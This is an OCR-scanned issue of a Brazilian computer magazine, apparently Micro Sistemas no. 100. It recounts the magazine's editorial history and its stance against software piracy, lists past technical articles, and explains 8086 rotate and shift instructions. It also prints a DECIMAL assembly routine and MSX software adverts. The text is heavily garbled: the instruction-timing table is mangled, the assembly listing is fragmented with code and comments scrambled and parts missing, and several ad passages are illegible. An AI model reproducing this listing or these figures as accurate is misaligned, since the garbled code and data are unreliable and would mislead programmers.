que esta prática não estava encon¬ 
trando ressonância no mercado. Esse 
fato, no entanto, não passou desper¬ 
cebido à direção da ATI Editora, que 
decidiu reconvocar toda a equipe téc¬ 
nica no final de 1987 com o objetivo 

de conduzir MS de volta a seu eixo 
original. 

UM NOVO COMEÇO 

Era uma tarefa difícil. A defasagem 
de quase dois anos impunha um sig¬ 
nificativo esforço de reorganização edi¬ 
torial, que precisava ser executado a 
um só tempo com o trabalho de con¬ 
fecção da revista. Imersa no trabalho 
de arrumação da casa, sobrava pouco 
tempo para a equipe investir na criação 
de novos projetos. Fatores externos, 

como a prolongada letargia do mer¬ 
cado, acabaram amplificando os pro¬ 
blemas e pela primeira vez em sua 
breve história, MS deixou de circular 
mensalmente. 

Apesar das dificuldades, as modifi¬ 
cações introduzidas na revista demons¬ 

traram apontar para a direção certa. 
O primeiro objetivo era ampliar e aper¬ 

feiçoar o relacionamento da revista 
com os leitores. Para isso foi criado o 
Clube do Leitor (MS 73), que aumen¬ 
tava o espaço para a publicação dos 
trabalhos dos leitores, e redimensio- 
nada a seção de cartas, a fim de dar 
maior ênfase à permuta de infor¬ 
mações e à divulgação dos problemas ► 
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enfrentados pelos usuários na utili¬ 
zação cotidiana de seus equipamentos. 

O projeto PRO KIT reativou o espa¬ 
ço destinado aos artigos técnicos, tra¬ 
zendo de volta a abordagem detalhada 
sobre programação. As análises de pro¬ 

dutos foram intensificadas, procuran 
do-se atribuir um caráter mais crítico 

a elas. Como contraponto, foi criada 
uma coluna fixa sobre a criação de jo¬ 
gos adventures. 

Graças à entusiástica aprovação dos 
leitores, os primeiros passos empreen¬ 
didos na correção de rumo de MS fo¬ 
ram suficientes para conduzir a revista, 
com relativa folga, até o início de 1988. 

Ninguém imaginava, contudo, que 
a travessia estivesse completa ou que 
os dias seguintes seriam mais fáceis. 

A cambaleante economia do país, aba¬ 
lada por sucessivos choques, a falta 
de definição de uma política consis¬ 
tente para o setor de informática e a 
incessante pilhagem praticada pela pi¬ 
rataria de software pintavam uma pai¬ 
sagem nebulosa para o ano que co¬ 
meçava. 

MICRO SISTEMAS não teve dúvi¬ 
das: nesse quadro era urgente a defesa 
da produção original de software. Num 
paralelo com o que já sucedera com 

o setor de vídeo, seria impossível se 
pretender um mercado minimamente 
sério, com as mais elementares con¬ 

dições de oferecer algum respaldo pro¬ 
fissional, enquanto persistisse o para- 
sitismo das atividades piratas. 

Por ocasião da aprovação da lei de 
software, MS destacou em suas pá¬ 
ginas a necessidade da regulamen¬ 
tação dos mecanismos de comerciali¬ 
zação do software. No mês seguinte 
(MS 78) saía uma matéria que repro¬ 
duzia nota do jornal "0 Globo" dando 
conta da atividade pirata numa loja do 
Rio de Janeiro. 

A matéria, em si, nada mais fazia 
do que caracterizar a pirataria como 
o que ela passava a ser a partir daquele 
momento: um ilícito penal. Chocantes, 

mesmo, eram as declarações de alguns 
piratas entrevistados pela revista (cu¬ 

jos nomes naturalmente não foram 
revelados), que além de não verem pre¬ 
juízo em èuas atitudes, ainda insinua¬ 
vam que a lei seria ineficaz porque "não 
havia lugar nas cadeias para abrigar 

todos os piratas". 

Como seria de se imaginar, o rebu¬ 
liço foi geral. Reclamações pipocaram 
por toda a extensão do mar de Tortuga 
e não fosse pelo seu caráter prejudi¬ 
cial, teriam sido cômicas na época as 

alegações, por parte dos piratas, de 
que o que MS estava fazendo era an- 
tiético e imoral - como se não houvesse 

aí uma flagrante inversão de papéis. 
Durante semanas MICRO SISTEMAS 
recebeu todo tipo de ameaças de re¬ 
taliação, bem no estilo gangster holly- 
wood. 

Tentativas de intimidação à parte, 
o ano transcorreu sem maiores surpre¬ 
sas e MS pôde completar mais algu¬ 
mas modificações previstas em seu 

projeto editorial, retomando a aborda¬ 
gem de temas polêmicos como os ví¬ 
rus de computadores (MS 79) e des¬ 
tinando mais espaço para as novidades 
que surgiam no mercado de software 

e hardware estrangeiro. Antecipando 
o interesse que iriam despertar nos 
usuários dos PCs principalmente, MS 
passou a pautar com maior frequên¬ 
cia matérias sobre aplicações em 
dBase. 

Curiosamente, pela primeira vez na 
história de MICRO SISTEMAS um pro¬ 
jeto terminou saindo das páginas da 

revista em função do enorme sucesso 
alcançado. 0 Caderno de Jogos, que 
nasceu na edição número 89 como 
uma seção onde seriam tratados os di¬ 
versos assuntos referentes às diversões 
eletrônicas, em poucos meses adqui¬ 
riu personalidade própria e acabou se 

transformando na semente de um novo 
projeto editorial para o ano de 1991. 

Esse elenco de mudanças possibi¬ 
litou a MICRO SISTEMAS atravessar 
1989 - outro ano difícil para a microin- 
formática no país - com certa tranqüi- 
lidade. Na prática, o atraso tecnológico 
perpetuado pela reserva de mercado 

acentuava cada vez mais o interesse 
dos leitores pelos equipamentos estran¬ 
geiros. MS focalizou ao longo desse 
ano, obtendo sempre grande repercus¬ 
são entre os leitores, as características 
de máquinas como o Amiga (que es¬ 
gotou â edição 84), Macintosh e a re¬ 

volução dos micros portáteis. Falou- 
-se também da utilização prática, no 
Brasil, de tecnologias como a do desk¬ 
top publishing (MS 83). 
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0 problema da defasagem tecnoló¬ 
gica de nossos micros alcançava tal 

ressonância no contexto do mercado 
que a equipe de MS não vacilou: com 

o questionamento sobre a reserva de 
mercado que certamente se seguiria 
à posse do governo recém-eleito, era 
chegado o momento de introduzir no¬ 
vas mudanças no perfil da revista. O 

projeto editorial planejado para vigorar 
a partir de março de 90 incluía a estru¬ 
turação de um corpo de colaborado¬ 
res mais afinado com as novas carac¬ 
terísticas do mercado; maior ênfase às 
aplicações de software; a divulgação 
de projetos de hardware; uma aborda¬ 

gem mais acessível dos micros PCs, 
inclusive no que diz respeito à progra¬ 
mação em linguagem de máquina, um 
assunto nunca abordado em outras re¬ 
vistas; e emoldurando esse quadro, um 
novo projeto gráfico para a revista, que 
passaria a ser inteiramente diagramada 
em desktop publishing. 

Dada a importância estratégica das 

modificações, e já escolados por al¬ 
guns anos de experiência, optou-se 
pela preparação de um verdadeiro es¬ 
quema bélico para a implantação do 
novo projeto editorial. As discussões 

sobre as alterações a serem realizadas 

foram cercadas do maior sigilo: pou¬ 
quíssimas pessoas participaram dessas 
conversas, entre novembro de 89 e fe¬ 
vereiro de 90, e somente o diretor téc¬ 

nico da revista conhecia o conjunto 
completo das modificações a serem 
realizadas. Como cortina de fumaça 

foi montado um projeto de perfil edi¬ 
torial diferente daquele que seria efe¬ 
tivamente adotado. 

No final, o resultado de todos es¬ 
ses esforços foi mais do que compen¬ 
sador: a edição número 93, que inau¬ 
gurou a fase atual de MICRO 
SISTEMAS, esgotou uma semana 
após chegar às bancas. A tiragem da 
revista vem crescendo a cada mês e 

chega hoje a ostentar números supe¬ 
riores àqueles alcançados no período 
81-83, que corresponde ao boom dos 
microcomputadores. Isto numa época 
em que a maioria das outras revistas 
da área se vêem obrigadas a encerrar 
suas atividades. ■ 

10 ANOS DE INFORMAÇÕES TÉCNICAS 

MICRO SISTEMAS atinge agora 
a edição 100 mantendo a sua prin¬ 
cipal característica como revista téc¬ 
nica: mostrar ao leitor e usuário os 

meandros do computador. Nesses 
anos tornou-se uma tradição da re¬ 
vista a publicação de assuntos tra¬ 
tados como "proibidos" por certos 
segmentos da informática. 

Apesar de ser um mercado extre¬ 
mamente dinâmico, uma rápida pas¬ 
sada pelos exemplares da coleção 
completa da revista nos mostra que, 
mesmo distante alguns anos, alguns 
artigos guardam ainda a sua atuali¬ 
dade. São informações técnicas 
ainda úteis nos dias de hoje. 

Selecionamos uma pequena 

amostragem para ilustrar isso, in¬ 
cluindo também alguns artigos ge¬ 
néricos e algum humor. 

UNIDADES DE DISCO FLEXÍVEL 
Antônio Haroldo Paulino Arantes 
-MS 9 e 10 

LINGUAGENS DE PROGRA¬ 
MAÇÃO 

João Alexandre Magri - MS 11 

SISTEMAS NUMÉRICOS 
Orson Voerckel Galvão - MS 12 

MÉTODOS DE ORDENAÇÃO 
Roberto Chan e Hélio Lima 
Magalhães - MS 13 e 14 

AS LINGUAGENS 
Edição especial sobre linguagens - 
MS 19 

AS FLEXÍVEIS MEMÓRIAS EPROM 
Vera Vaitekunas - MS 20 

MICROPROCESSADORES DE 16 
BITS 

Antônio Rafael Dias Teixeira - MS 22 

CRIPTOGRAFIA - UMA ARMA 

CONTRA PIRATAS 
Cândido F. da Silva - MS 24/25 

O ERRO DE TRUNCAMENTO EM 
BASIC 
Akeo Tanabe - MS 25 

AS INSTRUÇÕES SECRETAS DO 
Z80 
Jorge Mendes - MS 25 

MEU CADERNO BASIC DE PRO¬ 
GRAMAS IDIOTAS 
Luis Carlos Eiras - 27 

INTELIGÊNCIA ARTIFICIAL 
Antonio Costa - MS 29 e 30 

BRONCA CIBERNÉTICA 
Luiz Bessa - MS 30 

CÁLCULOS PRECISOS EM BASIC 
Akeo Tanabe - MS 31 

O MC 68000 

Eduardo Antônio Barros da Silva 
- MS 50 

SISTEMAS ESPECIALISTAS 
Emmanuel Lopes Passos - MS 51 

OS BUGS: CRIAÇÃO CACA E 
DESTRUIÇÃO 

Pierre Lavelle - MS 59 

MÁQUINAS QUE CONVERSAM 
Antonio Costa - MS 65 

QUAL É O Ql DA SUA CASA 
Mary Lou Rebello - MS 76 

COMPUTADOR: O ESTADO 
DA ARTE 
Cláudio Costa - MS 77 

POSTSCRIPT: UMA IMPRESSÃO 
A MAIS 

José Eduardo Neves - MS 78 
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Asscmbler no PC: 
rotações e shifts 
Conheça o funcionamento das operações de rotação e 
deslocamento de bits e bytes 

Renato Degiovani 

Dominar a rotação de bytes pode 
ser considerado como um passo a mais 
em termos de programação Assembler. 
Apesar de serem pouco usadas pelos 
programadores autodidatas, essas ins¬ 
truções tem uma aplicação bastante 

significativa em rotinas aritméticas e 
na conversão e controle de códigos 
para a comunicação com dispositivos 
de entrada e saída de dados. 

Os movimentos com os bytes po¬ 
dem assumir duas formas distintas: ou 

eles são circulares (rotações) ou são 
lineares (shifts). Tanto os movimentos 
circulares quanto os deslocamentos li¬ 
neares podem ser efetuados para a di¬ 
reita ou para a esquerda. 

Vamos ver de perto como funcio¬ 
nam essas instruções. 

AS ROTAÇÕES 

As rotações são movimentos cir¬ 
culares que podem ser restritos aos bits 

do byte (ou palavra de 16 bits) ou atra¬ 
vés do Carry Flag, isto é, com o Carry 
funcionando como mais um bit do 

byte. 
Há uma diferença fundamental en¬ 

tre esses dois modos, que pode ser 
bem compreendida através de esque¬ 
mas. De qualquer modo, é sempre 

bom lembrar que todos os tipos de ro¬ 
tações enviam ao Carry o bit que ex¬ 
trapolou do byte. 
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RCL - Rotate left through carry 

c 

Para assimilar com mais facilidade 
esta operação basta considerar que o 

sentido da rotação é dado pelo bit que 
sai do byte e não pelo bit que entra. 
O bit mais significativo (7 ou 15) é des¬ 
locado para o Carry e o conteúdo ori¬ 

ginal do Carry passa a ser o bit menos 
significativo (0). Todos os outros bits 
se deslocam uma posição para a es¬ 

querda. 

RCR - Rotate right through carry 

c 

O bit menos significativo (0) será 
deslocado para o Carry e o conteúdo 
original do Carry será deslocado para 

o bit mais significativo (7 ou 15). To¬ 
dos os outros bits se deslocam uma 
posição para a direita. 

ROL - Rotate left 

C 

Na rotação sem o Carry, o bit mais 
significativo (7 ou 15) é imediatamente 
deslocado para a posição do bit me¬ 
nos significativo (0). Uma cópia desse 
bit é enviada ao Carry Flag. Todos os 
outros bits se deslocam uma posição 
para a esquerda. 

ROR - Rotate right 

c 

O bit menos significativo (0) é des¬ 
locado para a posição do bit mais sig¬ 
nificativo (7 ou 15). Todos os outros 
bits se deslocam uma posição para a 
direita. 



OS SHIFTS 

Os deslocamentos diferem das ro¬ 
tações por não preservarem no byte, 
ou palavra de 16 bits, o bit que extra¬ 

pola. De qualquer forma, este bit será 
sempre deslocado para o Carry Flag. 

Outra característica dos desloca¬ 
mentos é que eles podem, ou não, pre¬ 
servar o sinal do byte. Ma matemática 
binária, é muito comum usar o último 

bit de um byte, ou palavra de 16 bits, 
para indicar se o valor contido nos ou¬ 

tros bits é positivo (0) ou negativo (1). 
A este bit dá-se o nome de bit de sinal. 

Nos deslocamentos ditos lógicos, 
o bit mais significativo não assume 
essa característica. Já nos desloca¬ 
mentos aritméticos, o bit de sinal é 
sempre (teoricamente) presenvado. 

SHL - Shift Logical Left 

C 

O bit mais significativo é enviado 
ao Carry Flag; os outros bits são des¬ 
locados à esquerda e um zero é inse¬ 
rido no bit menos significativo. Na prá¬ 

tica, esta operação equivale a 
multiplicar por dois o valor do byte. O 
Carry indicará consequentemente se 
ocorreu overflow, ou seja, se houve 

"vai um". 

SHR - Shift Logical Right 

c 

O bit menos significativo é enviado 
ao Carry Flag; os outros bits são des¬ 
locados à direita e um zero é inserido 
no bit mais significativo. Na prática, 
esta operação equivale a uma divisão 
por dois do valor do byte. Nesse caso, 
o Carry indicará sempre o resto da di¬ 
visão (note que se o número for ím¬ 

par, o bit menos significativo será 1; 
após o SHR o Carry receberá esse 1, 
que é o resto da divisão por 2). 

SAL - Shift Arithmetic Left 

c 

É curioso, porém essa instrução não 
está documentada em nenhum manual 
do processador 8086/88. Por outro 

lado, todos os autores de livros técni¬ 
cos sobre o assunto referem-se a eia 
como idêntica à instrução SHL. Alguns 
montadores e compiladores geram in¬ 

clusive o mesmo código de instrução. 
Utilitários, como o Turbo Debug e o 
Debug do DOS, nem mesmo aceitam 
a sintaxe SAL. Mais curioso ainda é 
que outros processadores, como o Z80, 
também não documentam oficial¬ 
mente tal instrução. No caso do chip 
da Zilog, este tipo de operação faz 

parte de um conjunto chamado de ins¬ 
truções secretas do Z80. 

Apesar desse fato, não é impossí¬ 
vel executar uma rotação à esquerda 
com a presenvação do sinal, uma vez 
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que o mesmo fatalmente estará á dis¬ 
posição no Carry Flag. Para obter uma 
operação SAL, deve-se usar a ins¬ 
trução SHL seguida por um desvio 

condicional para então restabelecer o 

sinal do byte. 
Pode-se especular sobre o fato desta 

instrução não ser documentada ape¬ 
nas considerando que uma multipli¬ 
cação sinalizada por dois estaria com¬ 
prometida pois o bit de sinal sobreporia 

o bit indicativo de overflow. Nesse 
caso, ou seja, usar a instrução SAL 
apenas como uma multiplicação sina¬ 
lizada por dois seria mais inadequado 
do que usar as instruções específicas 
de multiplicação sinalizada do set de 

instruções do 8086/88. 
De qualquer forma, para os leitores 

mais curiosos e que frequentemente 

se aventuram em experiências extra- 
-sensoriais com Assembler, adianto 
que: o código que definiria a instrução 
(por exemplo) SAL AL,1 é DO F0. No 
entanto forçar a execução de tal có¬ 

digo nada mais produz do que o valor 
FF no registrador AL, independente¬ 

mente do seu valor anterior à execução 
da instrução (se duvidar, tente e com¬ 
prove). 

SAR - Shift Arithmetic Right 

Carry 

15/' 

□ 
7 

r 

0 

n : k- a 
Desloca o conteúdo do byte, ou pa¬ 

lavra de 16 bits, para a direita preser¬ 
vando o sinal no bit mais significativo. 
Esta instrução existe e é aceita nor¬ 
malmente pelos compiladores. 

COMO USAR 

Para usar eficientemente as rotações 

e os deslocamentos temos que ter 
sempre em mente que, para o 8086/88, 

essas operações podem ser efetuadas 
tanto a nível de byte (registrador ou 
posição de memória) quanto a nível 
de palavra de 16 bits (registrador de 

16 bits ou posição de memória). 
Outra característica intrínseca des¬ 

sas instruções é que a quantidade de 
rotações ou deslocamentos pode ser 
determinada sem a necessidade de se 
lançar mão de loops ou jumps condi¬ 

cionais. A forma para isso é especifi¬ 
car na própria instrução se o desloca¬ 
mento ou rotação será feito uma única 
vez (ROL AL,1 por exemplo) ou se será 
feito tantas vezes quantas estivem es¬ 
pecificadas no registrador CL (ROL 

AX,CL por exemplo). 
Apenas para "dar água na boca" 

adianto aos leitores que, para aqueles 
que já sonham com o 386, essas ins¬ 
truções foram aperfeiçoadas, che¬ 

gando ao requinte de se expressar di¬ 
retamente a quantidade de 
movimentos por instrução (ROL AL,7 
por exemplo). Em breve publicaremos 
uma tabela de compatibilidade 

86/286/386. É só esperar. 

ROTAÇOES E DESLOCAMENTOS 
Instrução Significado Ciclos Tamanho Flags afetados 

ROL 2 2 bytes O-C 

registrador,CL 8+<4*N) 2 bytes 

memória.1 15+ct 2 a 4 bytes 

memória,CL 
(4*N) 2 a 4 bytes 

ROR registrador,1 2 2 bytes ^- 
registrador.CL 8+(4*N) 2 bytes 

15+ct 2 a 4 bytes 

1 
(4-N) 2 a 4 bytes _ . Il 

RCL registrador.l 2 2 bytes O-C 

registrador.CL 8+(4’N) 2 bytes 
15+ct 2 a 4 bytes 
20+ct+ 
(4*N) 2 a 4 bytes 

RCR registrador.l 2 2 bytes O-C 

registrador.CL 8+(4*N) 2 bytes 
15+ct 2 a 4 bytes 

cy* *nV‘'ti M 
(4*N) 2 a 4 bytes 

SHL registrador.l 2 2 bytes O-C 

registrador.CL 8+(4*N) 2 bytes 
15+ct 2 a 4 bytes 

(4-N) 2 a 4 bytes 

SAR registrador.l 2 2 bytes 

registrador.CL 8+(4*N) 2 bytes 
• - f&W 

15+ct 2 a 4 bytes 
- -r-, »l 

(4-N) 2 a 4 bytes 

SHR registrador.l 2 2 bytes O-C 

registrador.CL 2 bytes 
15+ct 2 a 4 bytes 
20+ct+ 
(4-N) 2 a 4 bvtes 
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-CTGRADIUS BASIC traz uifl i^PaiÇb 

programação que,explora ao máximo as dajtecijq 

ficas do seú.-wero-cpmputadoí e ainda .'"jAsbí 

BASIC MSX- dlvérsas, implementações qtle &s 

^tesmo aç. usuário menos preparado, a c%çÇq 

granias com sofisticados recursos , como os que 

tíamos nos melhores pacotes, profissiona^..’^-'. 

-- ^Ehtre estás implèffíenfáções ,-V - 'Entre estás implèfnenfáções desfacam-se hupi vi- 

Suai “pós-iconográfico": -Janelas tridimensionais, menos 

“0ÜJ|-<*5toí, animação gráfica èm alta velocidade, “scroH" 

9'rotação'di vídeo', rptinas.de entrada’de dados, de im- 

pres stoeçla^orjUoteT >trt"íòystick" ou "mouse", etc. 

•^"•"Para facilitar ainda mais a criação de programas, 

lançamos GRADIUS TOOLS, que traz utilíssimas ferra¬ 

mentas para auxilio na programação em GRADIUS 

BASIC, localização de dados, depuração de erros, manu¬ 

tenção do "hardware", etc. 

Para quem nunca programou e não entende nada 

de BASIC, apresentamos GRADIUS MAKER, que gera 

automaticamente aquele programa que você tanto queria 

ter mais não sabia como fazer. 

O SISTEMA GRADIUS também é educativo, pois 

estimula os iniciantes em programação e introduz os mais 

experientes no mundo da linguagem de máquina e no fun¬ 

cionamento do micro-computador, auxiliando ainda com 

técnicas de programação em BASIC, endereços úteis da 

memória RAM. rotinas da ROM e a utilização da VRAM. 

Todos os programas da linha GRADIUS são abertos ao 

usuáno. 

-üRauiusr 
============;=; 

Junto com o GRADIUS BASIC você recebe 

GRADIUS DESK, um sistema operacional fácil de utilizar, 

além de um completo manual em formato fichário com de¬ 

talhadas informações sobre o progr&na e espaço para co¬ 

lecionar as instruções dos demais acessórios que você 

adquirir. . 

Mas não termina por aí... Aguarde outras novidades 

e lançamentos baseados no SISTEMA GRADIU^., 

'[ Não espere encontrar cópias piratas deste progra- 

má, pois por se tratar de um software de caráter educativo 

;‘e." estar baseado em informações técnicas, será impossí¬ 

vel utilizá-lo sem o respectivo manual. Não deixe que o pi- 

.ráta Jhe engane, prefira o original para não precisar com¬ 

prar duas vezes. 

Raffiofmafca.u 
PP A 583 cep 2 
de Janeiro — Rí 

G-DESK G-FILES 

-- 
r 
IT 
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'/NAS 8086/88 

DECIMAL 
Renato Degiovani 

Nesta edição apresento uma rotina 
bastante simples para a impressão de 
valores decimais. Sua função é produzir 
um número abstíluto (desconsiderando 
os zeros à esquerda), ou um número 
completo, ou ainda um número ali¬ 

nhado à direita. Por exemplo, o valor 123 
poderá ser impresso das seguintes formas: 

Esta rotina, como está publicada, pode 
ser executada diretamente do DOS. Para 

isto basta digitar DECIMAL X,Y,Z onde X 
é o valor a ser impresso, Y a quantidade 
de dígitos e Z o status de impressão. Para 
usá-la em outros programas é necessário 
alterar a impressão dos dígitos (DECIM08). 

Z=0 - imprime o valor absoluto 
Z=1 - imprime os zeros à esquerda 
Z=32 - imprime o valor alinhado à direita 

• Rotina: DECIMAL 

Renato Degiovani 

Complemento da série de artigos ASSEMBLER no PC. publicada 
na revista MICRO SISTEMAS, à partir da edição 95. 

ProduçSo PRO KIT Informitica e Editora Ltda 

.MODEL small 
.STACK 100h 
.DATA 
.CODE 

INICIO: 
mov bx.81h 
cal 1 VALOR 
push dx 
cal 1 VALOR 
push dx 
cal 1 VALOR 
mov ah.dl 
pop cx 
pop bx 
cal 1 DECIMAL 
Jmp FINAL 

VALOR: 
cmp BYTE PTR [bxl.32 
jnz VALOO 
inc bx 
jmp VALOR 

;Tipo de programa 
: Tamanho e érea do stack 
;Area de dados 
•.Início do programa 

;Obtém a quantidade de dígitos 

si.OFFSET Tabnum+10 

status de impressão 

;Segmento de dados igual 
;ao segmento de códigos 
;Aponta para tabela 

Ajusta para o nOmero de 
dígitos desejados 
Status de impressão 

jContador de dígitos 

;Calcula quantos dígitos 

;Repõe valor corrigido 

;Zera o registrador DX 

sub cl.30h 
jc VAL02 
cmp cl, 10 
jnc VALO2 
mov ax,10 
mui dx 
mov dx.ax 
add dx.cx 
jmp VALOl 

FINAL: 
mov ah,4Ch 
int 21h 

Obtém um dígito 
Próximo dígito 
Calcula o valor do dígito 
Retorna caso o dígito seja 
menor que 0 ou maior que 9 

Base dez 
Multiplica por 10 
Transfere o produto para dx 
Calcula o Vitimo dígito 

Iprime o valor do registrador BX como um valor decimal, 
com a quantidade de dígitos definidq em CX e com o status 
de impressão dos zeros à esquerda em AH. 

al.[FlagOll 
al .0 
DECIM01 

ah - 0 imprime 
ah - 1 imprime 
ah - 32 imprime 

valor absoluto 
s zeros à esquerda 
valor absoluto alinhado à direita 

;Checa se é alinhado a 
jdireita 
; Imprime um zero 

:Usa o dígito como 3tatus 

:Imprime e continua 

: Imprime e retorna 

.Salva os registradores 

: Imprime o caracter 

;Recupera registradores 
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0 MELHOR PARA SEU MSX E MSX2 VOCÊ ENCONTRA NA NEMESIS 

O LANÇAMENTO DO ANO: 

GRADIUS SYSTEM 1.0 

Um novo mundo para seu MSX! 

GRADIUS BASIC 1.0 implementa novo visuale novos comandos para MSX CrS 6.800.00 
GRAOIUS FILES 1.0. novos comandos adicionais para o GRADIUS BASIC CrS 2.200.00 
GRADIUS TOOLS 1.0. (erramantas Pe programação para o GRADIUS BASIC (CONSULTE) 
GRADIUS MAKER 1.0. gerador automático de programas em GRADIUS BASIC (CONSULTE) 

NEMESIS • NOVIDADES EM APLICATIVOS E UTILITÁRIOS 

FLASH BASIC COMPILER. Acelera seu programa em BASIC em até 60 vezes CrS 2.800.00 
MSX TURBO FORMAT. Formata disquetes para carregamento 5 vezes mais rápido 

CrS 180000 
' ^ V DEC .OCAOORA Centre e total oe ..r-."toras proltssrona«s de video CrS 3800.00 
H ! Vf-RC LVORLSA íditordete.rcs Maiaq.ieta Fichanoefetrontco etc (CONSuUEI 
MS< SRiPHlC TCOlS . ma cteçacdfuN carios oamediçao grafica nn WS» iCONSULlFi 

MS* RRiMtR 'OClS Lmacoleçaoce terramenusparauwcomimpresvcra tCCNSULIEi 
f AS- 3AF.H IIP O ma s simples e wvsatii r cc ado» de Ciscos pa>a **8» iCONSuUF) 

•A'-htB 0 gitaiirador e s oietizadcr de noz musica e soios (CONSULTEI 

NEMESIS - PROGRAMAS UTILITÁRIOS 

MSX-DOS TOOLS PLUS.lerramentas paia auxilio na programação.CrS 1.800.00 
MSX HELLOI 1.0 (versão 5 H4).multl-utiiítário para uso com disk-drive.CrS 1.800.00 
MSX HARDCOPV 1.1.utilitário para impressão de gráticos.CrS 1600.00 
EASV GRAPH. poderoso edito- grafico com recuisos inéditos CrS 2.80000 

NEMESIS - PROGRAMAS APLICATIVOS 

MSX TOP CAD. 
MALA DIRETA MSX 1.1 . 

MSX-SAM VOICE SVNTHETI2ER .. 
MSX CHART 1.0. 

MSX PORTIFÓLIO 1.0. 
I CHING . 

TEXTO TOTAL 1.0 (GRAFIX MTA) . 
TEXTO TOTAL 1.0 (ELGIN LADY 80,90 

. sensacional editor de projetos profissionais .... 
■ cadastro de clientes para 7.000 registros. 
• sintutizaoor de voz com 1 canal oe som. 

gràlicos comerciais e estatiscos. 
agenda eletrônicalista teletónica.. 

• liorósce cblnès no computaoot. 
. poderoso processador de textos para MTA .... 

poderoso processador Oe textos com gráficos . 

CtS 380000 
. CrS 2.800.00 

CrS 1.600.00 
. CrS 1.800.00 
. CrS 1.80C.00 

CrS 1.800.00 
CrS 2.800.00 
CrS 2 800.00 

CrS 1800.00 
CrS 500.00 
CrS 250.00 

. . CrS 500.00 

. CrS 500.00 
... CrS 500,00 

CrS 500.00 
... CrS 500.00 

CrS 500.00 
CrS 5000.00 

NEMESIS - DESK TOP PUBUSHING NO MSX 

MSX PAGE MAKER 1.5. editor de páginas com textos e gráficos. 
MSX PAGE MAKER FONTES 1 22 diferentes letras para 0 PAGE MAKER . 
MSX PAGE MAKER FONTES 2. 22 diferentes letras para o PAGE MAKER. 
MSX PAGE MAKER FONTES 3. 22 diferentes letras para o PAGE MAKER . ... 
MSX PAGE MAKER FONTES 4 . 22 diferentes letras para o PAGE MAKER 
MSX PAGE MAKER CARTOONS 1 . diversas figuras para sua página gráica . . 
MSX PAGE MAKER CARTOONS 2. diversas liguras para sua página gráfica 
MSX PAGE MAKER TITLES 1. alfabetos gigantes para títulos e destaques . 
MSX PAGE MAKER SQUARES 1. diferentes molduras, adornos e vinhetas . 
MSX PAGE MAKER KIT. PAGE MAKER com todos seus acessórios. 

NEMESIS CLIP-ART 

UMA COLEÇÃO COM CENTENAS DE FIGURAS INÉDITAS PARA MSX PAGE MAKER OU GRAPHOS III 

4 DISCOS REPLETOS OE "SHAPES" POR APENAS CrS 2.500.00 

NEMESIS CLIP-ART II 

OUTRA COLECÃO COM CENTENAS DE FIGURAS INÉDITAS PARA MSX PAGE MAKER OU GRAPHOS III 

MAIS 4 DISCOS REPLETOS OE SHAPES" POR APENAS CrS 2.500.00 

NEMESIS - JOGOS E PROGRAMAS EOUCATIVOS 

0 CONDE DE MONTE CRISTO 
MENPHIS. 
A GRUTA DE MAQUINE . 

.. CrS 800.00 

.CrS 800.00 

.. CrS 80000 

FARM KIT . 

SCREEN ANIMATOR. 

YOUNGSOFT - APLICATIVOS E UTIUTÁRIOS 

. programa para vinhetas e aberturas em vídeo-cassete C'S 2300.00 

. multiutilitárlo para uso com disk-drives. .CrS 6800.00 

MSX EDARQ. 

XSW - APLICATIVOS E UTILITÁRIOS 

FLUXO DE CAIXA . controle comercial de entradas e saidas. . CrS 2.800.00 

CHAVE MESTRA. 
VERSOR . 
CADEMP . 
CADCLI 2.0.. 
NEMESIS (THE GAME). 

.. cadastro de clientes / mala direta profissional. 
super jogo. agora em 3 1:2 e para EXPERT DDPLUS 

M.P.O. SOFT VÍDEO - CARTUCHOS E VÍDEOS EDUCATIVOS EM VHS 

OOMINANUO 0 MbX 
CURSO Qf fttóiC 1 

apfp^frtaçãc Co M>x ? seus 

curso orasf ii 
MSX WRITF 10 

uma a /a parti: jiar ce OftftS • 111 m » ceo 

fWIOR MLSiCAt 
MSX TtHBU DE VICE 
(.ame MASTER 

super accivaíot para vl v$x 
c ma».mo ixcve to dosseu^ iem tar,.L,:ici 

SOFT-O-MATIC (SHAREWARE) - PROGRAMAS APLICATIVOS 
BANCO DE DADOS 

MSX DATA BASE 1.1 .. . .fichário eletronicc fácil de usar. 

MSX EASY DATA 1.0 . 

STOCK CONTROL 20. 
CONTAS A PAGAR,RECEBER controle de fluxo/duplicatas e contas em geral. 

EDITORES GRÁFICOS 

EDDY 1. 

YAMAHA GRAPHIC ARTIST 
AACKODRAW & PAINT 
T-PAINT 1.2. 

editor gráfico com variados recursos. 
poderoso ecutor gráfico com letras e texturas. 

THE DESIGNER-S PENCll .mais que um simples editor gráfico .. 
g du Apple agvio Va>o MSX 

PROCESSADORES DE TEXTOS 

THE BANK STREET WRITER processador de textos de fácil utilização. 

PRINT-X-PRESS II. 

EDITORES MUSICAIS 

PSG MUSIC WRITER. 
SUPER SYNTH. 
THE MUSIC EDITOR. 
ELETRIC SOUND STUDIO. Poaoosc untetuMo. ce vens ê ê-e.tcs mus c« s 

UTIUTÁRIOS DIVERSOS 

o d d i rife 
KNIGHT COMMAND 2 0 . 
D.O.S. HELP 

. pqderoso auuliar paro progtamaçáo com MSX . 

DISK-IT . 

MSX OUAD 7.4.. montador assembler' disassembler. editor, etc. 

PROGRAMAS DE USO GERAL 

MSX GAME DESIGNER . faca os seus próprios jogos com facilidade. 

PRINT SEXY SHOR ...._. 
PSYCHEOELIA. 

SUPER VÍDEO GAMES PARA MSX1 (NORMAL) 

RAMBO Hl 
BATMANÍTME MOV* 

Basç-aso no g-a-Oê sucesso dc unem» .« ei- 5 : 4 
SaseaaancgranjesucfssoOaciner) xoen- 514 

NEMESIS 0 ■neiro' ogo ex stente para MSX’ isc em S I 4 

VAAOl un- fantástico pga csaac a -«tni 1.4 

MASH II 
Uma sersacicrataventura'Sd em 5 L'4i 

MS» Mnv G«WCS (1 a 1001 Raiotes com jO&os seiecijsaocstS 1:4 o» 3 l-2i saca 

CrS 800.00 
CrS 800.00 
CrS 800.00 

CrS 800,00 
CrS 800,00 
CrS 800.00 
CrS 800.00 
CrS 800.CC 
CrS 800.00 
Cr$ 800.00 
CrS 800.00 
CrS 800.00 

CrS 800.00 
CrS 800.00 
CrS 800.00 
CrS 800.00 

CrS 800,00 
CrS 800.00 
CrS 800.00 
CrS 800.00 
CrS 800.00 

CrS 800.00 
CrS 800.00 
CrS 800.00 
CrS 800.00 
CrS 800.00 

CrS 500.00 
CrS 500.00 
CrS 500.00 
CrS 500,00 
CrS 500.00 
CrS 500.00 
CrS 500.00 
CrS 500.00 
